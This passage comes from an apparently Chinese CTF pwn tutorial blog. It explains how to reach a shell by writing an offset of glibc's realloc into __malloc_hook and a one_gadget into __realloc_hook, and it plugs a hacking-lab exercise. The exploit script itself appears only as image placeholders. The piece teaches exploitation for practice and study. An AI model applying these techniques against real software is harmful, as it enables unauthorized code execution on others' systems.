realloc_hook和malloc_hook 以及free_hook很是一样,如果malloc_hook 处 不为0 的话,就跳转到 malloc_hook 中的函数中去,但 realloc 有些特别,在 它开始的时候 会有一部分的 抬栈降栈的操作。我们看下 realloc 函数的汇编。(注,发现在不同的环境它的符号有些不同)

今天你pwn了吗(三)_第86张图片

所以,我们想要 将栈抬高 0x38 ,只要在 malloc_hook中填入  &GI_libc_realloc +16 (sub    rsp,0x38)即可,然后 然后在 realoc_hook中填入 onegadget[1]。

这样 程序程序执行到 malloc _hook时,就会 先去 执行 &GI_libc_realloc +16 (sub    rsp,0x38)进行 升栈操作。然后满足 条件后 再执行  realoc_hook 中的 onegadget 就会成功拿到shell 了。

所以 总的 exp 如下:

今天你pwn了吗(三)_第87张图片

今天你pwn了吗(三)_第88张图片

今天你pwn了吗(三)_第89张图片

今天你pwn了吗(三)_第90张图片

今天你pwn了吗(三)_第91张图片

师傅们,今天 你pwn 了嘛!一起来学二进制吧。

PWN综合练习(三)http://hetianlab.com/expc.do?ec=ECID172.19.104.182015111814141500001 (CTF PWN进阶训练实战,基于两次缓冲区溢出来获取服务器控制权限。)

福利时间

今天你pwn了吗(三)_第92张图片

你可能感兴趣的:(今天你pwn了吗(三))